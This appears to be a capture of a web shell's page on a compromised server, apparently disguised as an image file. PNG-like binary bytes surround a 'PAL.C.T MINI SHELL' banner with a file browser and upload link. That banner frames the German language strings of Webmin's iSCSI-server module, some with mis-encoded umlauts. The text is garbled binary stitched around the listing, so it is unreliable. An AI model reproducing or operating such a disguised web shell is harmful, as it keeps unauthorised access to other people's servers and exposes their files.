‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/iscsi-server/lang/
upload
files >> //usr/libexec/webmin/iscsi-server/lang/de

check_etargets=Die iSCSI-Server-Konfigurationsdatei $1 wurde nicht auf Ihrem System gefunden.
check_eserver=Das iSCSI-Server-Programm $1 wurde nicht auf Ihrem System gefunden.

index_title=iSCSI-Server
index_clink=Vielleicht ist es nicht installiert, oder Ihre <a href='$1'>Modulkonfiguration</a> ist falsch.
index_stop=iSCSI-Server stoppen
index_stopdesc=Klicke auf diese SchlatflĂ€che, um den Betrieb von iSCSI-Server zu stoppen. Alle freigegebenen GerĂ€te werden fĂŒr Clients nicht mehr zugĂ€nglich sein.
index_start=iSCSI-Server starten
index_startdesc=Klicken auf diese SchaltflĂ€che, um die iSCSI-Server zu starten, so dass gemeinsam genutzten GerĂ€ten fĂŒr die Clients zugĂ€nglich sind.
index_restart=iSCSI-Server neustarten
index_restartdesc=Klicke auf diese SchaltflÀche, um die aktuelle Konfiguration durch einen Neustart des iSCSI-Server anwenden.
index_atboot=Beim Booten starten?
index_atbootdesc=Ändern diese Option, um zu kontrollieren, ob die iSCSI-Server beim Systemstart gestartet wird oder nicht. Wenn es aktuelle nicht beim Booten gestartet und "Ja" gewĂ€hlt wird, wird ein neues Init-Skript erstellt werden.
index_return=Modulindex

extents_title=GerÀt zum Teilen
extents_none=Keine GerÀte zum Teilen wurden bisher erstellt.
extents_name=GerÀtename
extents_file=Datei oder GerÀtepfad
extents_start=Start des extent
extents_size=GrĂ¶ĂŸe des extent
extents_add=FĂŒge ein neues GerĂ€t zum Teilen hinzu.
extents_delete=Lösche ausgewÀhlte GerÀte
extents_return=Liste an GerÀte zum teilen
extents_derr=Fehlgeschlagen GerÀte zu löschen
extents_denone=Nichts ausgewÀhlt
extents_einuse=GerÀt $1 kann nicht gelöscht werden, da es durch $2 im Gebrauch ist
extents_drusure=Sind Sie sicher, dass Sie die folgenden GerĂ€te entfernen möchten: $1? Der Inhalt bleibt erhalten, aber sie werden nicht mehr fĂŒr iSCSI Clients zugĂ€nglich sein.
extents_sure=Lösche GerÀte

extent_create=Erstelle GerÀt zum teilen
extent_edit=Editiere GerÀt zum teilen
extent_egone=GerÀt zum teilen $1 existiert nicht!
extent_header=Details des GerÀtes zum teilen
extent_name=GerÀtename
extent_device=Datei oder FestplattengerÀt zum teilen
extent_start=Start des extent zum Teilen
extent_size=GrĂ¶ĂŸe des extent zum Teilen
extent_size_def1=Gesamte Datei oder GerÀt
extent_size_def0=Angegebene GrĂ¶ĂŸe
extent_part=Logische Festplattenpartition
extent_raid=RAID GerÀt
extent_md=RAID GerÀt $1
extent_lvm=LVM logisches Volume
extent_lv=LVM VG $1, LV $2
extent_other=Andere Datei oder GerÀt
extent_rusure=Sind Sie sicher, dass Sie das gemeinsam genutzte GerĂ€t $1 löschen möchten? Der Inhalt wird beibehalten, aber es wird nicht mehr fĂŒr iSCSI Clients zugĂ€nglich sein.
extent_sure=Lösche GerÀt
extent_err=Fehlgeschlagen GerÀt zum teilen zu speichern
extent_derr=Fehlgeschlagen GerÀt zum teilen zu löschen
extent_eother=Datei zum freigeben existiert nicht
extent_estart=Start des extent muss eine Zahl sein
extent_esize=GrĂ¶ĂŸe des extent muss eine Zahl sein
extent_esizemax=Ende der extent darf nicht grĂ¶ĂŸer als der GerĂ€tegrĂ¶ĂŸe von $1 sein
extent_einuse=Dieses GerÀt kann nicht gelöscht werden, da es durch $1 im Gebrauch ist

devices_title=GerÀte-Kombinationen
devices_none=Keine GerÀtekombinationen wurden erstellt.
devices_name=Kombinationsname
devices_mode=Kombinationstyp
devices_mode_raid0=Linear (RAID0)
devices_mode_raid1=Gespiegelt (RAID1)
devices_extents=MitgliedergerÀte
devices_add=FĂŒge eine neue GerĂ€tekombination hinzu.
devices_delete=Lösche ausgewÀhlte Kombinationen
devices_return=Liste an GerÀte-Kombinationen
devices_derr=Fehlgeschlagen GerÀte-Kombination zu löschen
devices_denone=Nicht ausgewÀhlt
devices_einuse=Kombination $1 kann nicht gelöscht werden, da es durch $2 im Gebrauch ist
devices_drusure=Sind Sie sicher, dass Sie die folgenden GerĂ€tekombinationen entfernen möchten : $1? Der Inhalt bleibt erhalten, aber es wird nicht mehr fĂŒr iSCSI Clients zugĂ€nglich sein.
devices_sure=Lösche GerÀte-Kombinationen

device_create=Erstelle GerÀte-Kombination
device_edit=Editiere GerÀte-Kombination
device_egone=GerÀte-Kombination $1 existiert nicht!
device_header=Details an GerÀte-Kombinationen
device_name=GerÀt-Kombination-Name
device_mode=Kombination-Typ
device_extents=Mitglieder-GerÀte
device_poss=Alle verfĂŒgbaren GerĂ€te
device_got=Mitglieder-GerÀte
device_err=Fehlgeschlagen beim Speichern von GerÀtekombination
device_derr=Fehlgeschlagen GerÀte-Kombination zu löschen
device_rusure=Sind Sie sicher, dass Sie die GerÀtekombination $1 löschen wollen? Der Inhalt wird beibehalten, aber es wird nicht mehr iSCSI Clients zugÀnglich sein.
device_sure=Lösche GerÀt-Kombination
device_einuse=Diese GerÀtekombination kann nicht gelöscht werden, da es durch $1 im Gebrauch ist
device_eextents=Keine Mitglieder-GerÀte ausgewÀhlt
device_eself=Eines der MitgliedsgerÀte, welches ausgewÀhlt wurde, enthÀlt dieses GerÀt!

targets_title=Freigabe Targets
targets_none=Keine Freigabe targets wurden bisher erstellt.
targets_name=Target Name
targets_flags=Freigabemodus
targets_flags_ro=Nur Lesen
targets_flags_rw=Lesen/Schreiben
targets_export=Freigeben
targets_network=Freigabe mit Netzwerk
targets_add=FĂŒge ein neues Freigabe target hinzu.
targets_delete=Lösche ausgewÀhlte Targets
targets_return=Liste an Freigabe targets
targets_derr=Fehlgeschlagen Freigabe targets zu löschen
targets_denone=Keine ausgewÀhlt
targets_drusure=Sind Sie sicher, dass Sie die folgenden Freigabe targets zu entfernen : $1? Es werden keine Daten verloren, aber sie werden nicht mehr zugÀnglich mit iSCSI-Clients zuzugreifen.
targets_sure=Lösche Freigabe Targets

target_create=Erstelle Freigabe Targets
target_edit=Editiere Freigabe Targets
target_egone=Freigabe target $1 existiert nicht!
target_header=Details von Freigabe target
target_name=Freigabe target Name
target_flags=Zugriffsmodus
target_export=GerÀt oder Kombination
target_network=Teile mit Netzwerk
target_network_all=Alle Netzwerke
target_network_net=Nur Netzwerk
target_err=Fehlgeschlagen Freigabe target zu speichern
target_derr=Fehlgeschlagen Freigabe target zu löschen
target_rusure=Sind Sie sicher, dass Sie das Freigabe target $1 löschen möchte? Es gehen keine Daten verloren, aber iSCSI-Clients wird es nicht mehr möglich sein darauf zuzugreifen.
target_sure=Lösche Target
target_enetwork=Fehlendes oder ungĂŒltiges Netzwerk zum Teilen mit
target_emask=Fehlende oder ungĂŒltige Netzmaske zum Teilen mit

opts_title=iSCSI Server Optionen
opts_header=Optionen fĂŒr alle iSCSI targets
opts_ip4=Akzeptiere IPv4 Verbindungen
opts_ip6=Akzeptiere IPv6 Verbindungen
opts_name=Name sichtbar fĂŒr Clients
opts_namedef=Standard (System Hostname)
opts_port=Auf Port horchen
opts_sess=Maximale gleichzeitige Sessions
opts_err=Fehlgeschlagen Optionen zu speichern
opts_ename=Fehlender oder ungĂŒltiger Namen - nur Buchstaben, Zahlen, Bindestrich, Punkt und Unterstrich sind erlaubt
opts_eport=Fehlende oder nicht-numerische Portnummer
opts_esess=Fehlende oder nicht-numerische maximale Anzahl an Sessions

manual_title=Editiere Konfigurationsdatei
manual_desc=Verwenden das Textfeld unten, um die iSCSI-Server-Konfigurationsdatei $1 zu bearbeiten. Seien Sie vorsichtig, da keine Validierung Ihrer Eingabe durchgefĂŒhrt wird!
manual_err=Fehlgeschlaten Konfigurationsdatei zu speichern
manual_edata=Kein Inhalt eingegeben!

users_title=iSCSI-Authentifizierung
users_none=Keine iSCSI Benutzer wurden bisher erstellt. Clients werden in der Lage sein auf freigegebene GerÀte ohne Authentifizierung zuzugreifen.
users_add=Einen neuen iSCSI Benutzer hinzufĂŒgen.
users_delete=AusgewÀhlte Benutzer löschen
users_name=Benutzername
users_mode=Authentifizierungsmethode
users_return=Liste an Benutzer

user_create=Erstelle iSCSI Benutzer
user_edit=Editiere iSCSI Benutzer
user_header=iSCSI Benutzerdetails
user_user=Client Benutzername
user_mode=Authentifizierungsmethode
user_pass=Client Passwort
user_egone=Benutzer existiert nicht lÀnger!
user_err=Fehlgeschlagen iSCSI Benutzer zu speichern
user_euser=Fehlender oder ungĂŒltiger Benutzername - Leerzeichen und Doppelpunkte sind nicht erlaubt
user_epass=Fehlendes oder ungĂŒltiges Passwort - Leerzeichen und Doppelpunkte sind nicht erlaubt

desc_extent=GerÀt zu freigeben $1
desc_device=GerÀtekombination $1
desc_target=Freigabe target $1

start_err=Fehlgeschlagen iSCSI-Server zu starten
stop_err=Fehlgeschlagen iSCSI-Server zu stoppen
restart_err=Fehlgeschlagen iSCSI-Server neuzustarten
atboot_err=Fehlgeschlagen beim Booten zu aktivieren

log_create_extent=GerÀt zum Teilen $1 erstellt
log_modify_extent=GerÀt zum teilen $1 aktualisiert
log_delete_extent=GerÀt zum Teilen $1 gelöscht
log_create_device=GerÀtekombination $1 erstellt
log_modify_device=GerÀte-Kombination $1 aktualisiert
log_delete_device=GerÀtekombination $ 1 gelöscht
log_create_target=Freigabe target $1 ertellt
log_modify_target=Freigabe target $1 aktualisiert
log_delete_target=Sharing Ziel $1 gelöscht
log_delete_extents=$1 GerÀte zum Teilen gelöscht
log_delete_devices=$1 GerÀtekombinationen gelöscht
log_delete_targets=$1 Freigabe targets
log_start=iSCSI-Server gestartet
log_stop=iSCSI-Server gestoppt
log_restart=iSCSI-Server neu gestartet
log_atboot=iSCSI-Server beim Booten aktiviert
log_delboot=iSCSI-Server beim Booten deaktivieren
log_manual=Konfigurationsdatei manuell editiert
log_create_user=iSCSI Benutzer $1 erstellt
log_modify_user=iSCSI Benutzer $1 aktualisiert
log_delete_user=iSCSI Benutzer $1 gelöscht
log_delete_users=$1 iSCSI Benutzer gelöscht
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚